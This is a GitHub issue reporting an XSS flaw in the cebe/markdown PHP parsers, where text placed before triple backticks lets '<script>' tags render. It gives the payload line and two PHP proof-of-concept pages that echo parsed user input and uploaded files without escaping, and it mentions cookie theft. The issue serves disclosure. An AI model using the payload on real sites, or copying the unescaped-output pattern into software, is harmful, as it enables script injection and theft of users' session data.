Skip to content

Inconsistent behavior of multiple backticks #166

@Ekultek

Description

@Ekultek

Issue

There is a reflected and/or stored xss vulnerability (depending on how the markdown is parsed from user input or from a user uploaded file) from a crafted use of backticks, in all of the following parsers:

  • GithubMarkdown
  • Markdown
  • MarkdownExtra

How?

The vulnerability occurs when a user crafts a malicious payload with characters before a 3 backtick wrapped payload, thus bypassing the parser escape. For example, here is an image of the payloads crafted with single, double, and triple backticks:

craftedpayloads

And here is an image of the payloads rendered:

renderedpayloads

As you can see when the payload is crafted correctly using three backticks, the parser will render it as a script, this can allow malicious individuals to render scripts within a .md file or within a text box on any platform that is using this as the markdown parser. An example of a ran script:

runningthescript

Impact

Doing a quick search on Github for the code that enables your parser: new \cebe\markdown\. I get this many results:

parserenable

The vulnerability can be either stored using an .md file (README for example), or reflected if the markdown parser is just parsing the user input text. Malicious attackers can use this method to steal sensitive user data. For example to steal a users cookies:

cookiestealer

This can allow serious impacts on not only the end users using the site, but the reputation of the website as well.

Proof of Concept

User input

You can use the following code for a PoC on user entered text:

<?php
/*
 * to run this PoC do the following:
 * composer require cebe/markdown "~1.2.0"
 *
 * For proof that the markdown is not sent as a script do:
 * `<script>alert(1);</script>`
 * this will output the script in a safe way.
 *
 * To make an alert do:
 * L: ```<script>alert(1);</script>```
 * this will display a rendered alert
 * */
include 'vendor/autoload.php';

function parseData($data) {
    $parserGithub = new cebe\markdown\GithubMarkdown();
    $parserMarkdown = new cebe\markdown\Markdown();
    $parserMarkdownExtra = new cebe\markdown\MarkdownExtra();
    return [
        "<div class='parsed-github'>".$parserGithub->parse($data)."</div>",
        "<div class='parsed-markdown'>".$parserMarkdown->parse($data)."</div>",
        "<div class='parsed-markdown-extra'>".$parserMarkdownExtra->parse($data)."</div>"
    ];
}

if (isset($_GET['poc'])) {
    $parsed = parseData($_GET['poc']);
    echo "<!doctype html>
<title>PoC</title>
<body>
{$parsed[0]}
{$parsed[1]}
{$parsed[2]}
</body>";
} else {
    echo "<!doctype html>
<head>
<title>PoC</title>
</head>
<body>
<form action='#'>
<label for='markdown-poc'>Markdown: </label>
<input id='markdown-poc' type='text' name='poc'>
<input type='submit' name='Submit'>
</form>
</body>";
}

MD file

And you can use the following code for a PoC on text read from an MD file:

<?php
/*
 * to use this PoC you will need composer to require the library:
 * `composer require cebe/markdown "~1.2.0"`
 *
 * After this has been done you can create an MD file anywhere on your system,
 * to verify that the parser to render the data in a safe way use `<script>alert(1);</script>`,
 * or whatever script you decide to use
 *
 * In order to get the data rendered as javascript:
 * L: ```<script>alert();</script>``` or whatever script you decide to render
 * */
include 'vendor/autoload.php';

function renderFileContent($fname) {
    return file_get_contents($fname);
}
if (isset($_POST['upload'])) {
    $tmpName = $_FILES['poc']['tmp_name'];
    $contents = renderFileContent($tmpName);
    $parserGithub = new cebe\markdown\GithubMarkdown();
    $parserMarkdown = new cebe\markdown\Markdown();
    $parserMarkdownExtra = new cebe\markdown\MarkdownExtra();
    $dataGithub = $parserGithub->parse($contents);
    $dataMarkdown = $parserMarkdown->parse($contents);
    $dataMarkdownExtra = $parserMarkdownExtra->parse($contents);
    $parsed = [
        "<div class='parsed-github'>" . $parserGithub->parse($dataGithub) . "</div>",
        "<div class='parsed-markdown'>" . $parserMarkdown->parse($dataMarkdown) . "</div>",
        "<div class='parsed-markdown-extra'>" . $parserMarkdownExtra->parse($dataMarkdownExtra) . "</div>"
    ];
    echo "<!doctype html>
<head>
<title>PoC</title>
</head>
<body>
{$parsed[0]}
{$parsed[1]}
{$parsed[2]}
</body>";
} else {
    echo "<!doctype html>
<head>
<title>PoC</title>
</head>
<body>
<form action='#' method='post' enctype='multipart/form-data'>
<span>Upload file:</span>
<input type='file' name='poc'>
<input type='submit' name='upload' value='Upload'>
</form>
</body>
";
}

Metadata

Metadata

Assignees

No one assigned

    Labels

    Projects

    No projects

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions